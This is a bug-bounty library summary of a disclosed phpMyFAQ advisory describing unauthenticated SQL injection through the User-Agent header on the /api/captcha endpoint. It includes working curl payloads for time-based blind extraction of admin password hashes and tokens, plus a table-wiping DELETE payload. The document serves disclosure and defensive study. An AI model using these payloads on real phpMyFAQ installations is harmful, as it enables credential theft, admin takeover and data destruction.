# phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha

Unauthenticated SQL injection in phpMyFAQ's BuiltinCaptcha: User-Agent header interpolated unescaped into DELETE/INSERT queries on GET /api/captcha, enabling blind credential extraction.

- Payout: Research
- Severity: critical
- Program: phpMyFAQ
- Found by: adrgs, aisafe-bot
- Disclosed: 2026-05-06
- CVE: CVE-2026-46364
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-289f-fq7w-6q2w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-289f-fq7w-6q2w
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:php tech:rest technique:blind technique:source-review vuln:sqli

**Target:** Public GET /api/captcha endpoint (BuiltinCaptcha garbageCollector/saveCaptcha)
**Root cause:** BuiltinCaptcha stores the User-Agent header and client IP at construction and interpolates them into DELETE and INSERT SQL via sprintf without Database::escape() or prepared statements, unlike checkCaptchaCode() in the same file.
**Steps:**
1. Baseline: `curl -A "Mozilla/5.0" "http://target:8090/api/captcha?nocache=1"` returns in ~0.147s
2. Inject time delay: `curl -A "x' OR SLEEP(2) OR 'x" "http://target:8090/api/captcha?nocache=2"` takes ~4.09s (two SLEEP calls, one per sink)
3. Blind extract: `curl -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" "http://target:8090/api/captcha?nocache=3"`; 2s means match
4. Iterate position/character to exfiltrate hashes, admin token, SMTP creds
**How found:** Code review of BuiltinCaptcha.php: noticed sprintf-built SQL with raw $this->userAgent/$this->ip while checkCaptchaCode() in the same file uses $db->escape(), indicating the author knew about escaping but skipped it in two sinks; traced reachability to unauthenticated CaptchaController route.
**Exploitation:** Unauthenticated attacker sends crafted User-Agent to GET /api/captcha; payload reaches both the DELETE in garbageCollector() and INSERT in saveCaptcha(). Time-based blind extraction via SLEEP/IF(SUBSTR(...)) leaks faquser bcrypt hashes, faqconfig main.phpMyFAQToken and SMTP credentials; DELETE-path payloads like `' OR 1=1 -- ` wipe the faqcaptcha table.
**Escalation:** Credential hashes and admin token from faqconfig enable admin takeover; DELETE payloads cause DoS by wiping captcha rows.
**Insight:** When a class has one method that correctly calls escape() and sibling methods that sprintf raw input into SQL, that asymmetry is a strong signal — grep the file for sprintf.*(SELECT|INSERT|UPDATE|DELETE) and check every sink, then confirm the controller route has no auth gate.

## Proof of concept (copied exactly from the original report)

**SLEEP(2) injection via User-Agent header**

```
time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
  -A "x' OR SLEEP(2) OR 'x" \
  "http://target:8090/api/captcha?nocache=2"
# HTTP 500 4.093s
```

**Time-based blind extraction of admin hash**

```
curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \
  "http://target:8090/api/captcha?nocache=3"
```

**Baseline clean User-Agent request**

```
time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
  -A "Mozilla/5.0" \
  "http://target:8090/api/captcha?nocache=1"
# HTTP 500 0.147s
```

